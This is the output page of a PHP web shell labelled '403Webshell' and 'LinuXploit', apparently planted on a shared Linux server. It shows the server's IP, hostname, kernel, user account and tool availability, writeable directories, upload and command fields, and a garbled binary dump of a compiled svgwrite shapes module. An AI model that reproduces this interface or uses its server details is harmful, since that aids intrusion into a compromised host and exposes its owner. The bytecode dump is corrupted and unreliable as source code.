403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.117.156.19
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/svgwrite/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/svgwrite/extensions/__pycache__/shapes.cpython-37.pyc
B

��];�@sDdZddlZddd�Zddd�Zdd	�Zd
d�Zdd
�Zdd�ZdS)z+
Extension to create and manipulate shapes
�N�ccs�|dkrtd��|dk	r2|dt�tj|�}n"|dk	rL|dkrTtd��ntd��dtj|}|}x6t|�D]*}|t�|�|t�|�fV||7}qpWdS)a�
    Returns the corners of a regular polygon as iterable of (x, y) tuples. The polygon size is determined by the
    `edge_length` or the `radius` argument. If both are given `edge_length` will be taken.

    Args:
        num_corners: count of polygon corners
        edge_length: length of polygon side
        radius: circum radius
        rotation: rotation angle in radians

    Returns: iterable of (x, y) tuples

    �z0Argument `num_corners` has to be greater than 2.Ng@gz+Argument `radius` has to be greater than 0.z,Argument `edge_length` or `radius` required.)�
ValueError�math�sin�pi�range�cos)Znum_cornersZedge_length�radius�rotation�delta�angle�_�r�K/opt/alt/python37/lib/python3.7/site-packages/svgwrite/extensions/shapes.py�ngon	s
rccs~|dkrtd��|dkr td��|dkr0td��t|||d�}t||tj||d�}x"t||�D]\}}|V|VqbWdS)a�
    Create a star shape as iterable of (x, y) vertices.

    Argument `spikes` defines the count of star spikes, `r1` defines the radius of the "outer" vertices and `r2`
    defines the radius of the "inner" vertices, but this does not mean that `r1` has to greater than `r2`.

    Args:
        spikes: spike count
        r1: radius 1
        r2: radius 2
        rotation: rotation angle in radians

    Returns: iterable of (x, y) tuples

    rz+Argument `spikes` has to be greater than 2.gz'Argument `r1` has to be greater than 0.z'Argument `r2` has to be greater than 0.)r
rN)rrrr�zip)ZspikesZr1Zr2rZcorners1Zcorners2�s1�s2rrr�star(srccs(x"|D]\}}||||fVqWdS)z�
    Translates `vertices` about `delta_x` and `delta_y`

    Args:
         vertices: iterable of (x, y) tuples
         delta_x: translation in x axis
         delta_y: translation in y axis

    Returns: iterable of (x, y) tuples

    Nr)�verticesZdelta_xZdelta_y�x�yrrr�	translateFsrccs(x"|D]\}}||||fVqWdS)a
    Scales `vertices` about `scale_x` and `scale_y`

    Args:
         vertices: iterable of (x, y) tuples
         scale_x: scaling factor in x axis direction
         scale_y: scaling factor in y axis direction

    Returns: iterable of (x, y) tuples

    Nr)rZscale_xZscale_yrrrrr�scaleVsrccsPxJ|D]B\}}t�||�}t�||�|}|t�|�|t�|�fVqWdS)z�
    Rotates `vertices` about `delta` degrees around the origin (0, 0).

    Args:
         vertices: iterable of (x, y) tuples
         delta: rotation angle in radians

    Returns: iterable of (x, y) tuples

    N)r�hypot�atan2r	r)rrrr�rr
rrr�rotatefsrcCsTd\}}}x(|D] \}}||7}||7}|d7}qWt||�}t||�}||fS)z:
    Returns the centroid of a series of `vertices`.

    )rrr�)�float)r�kZc_xZc_yrrrrr�centroidws
r")NNr)r)�__doc__rrrrrrr"rrrr�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit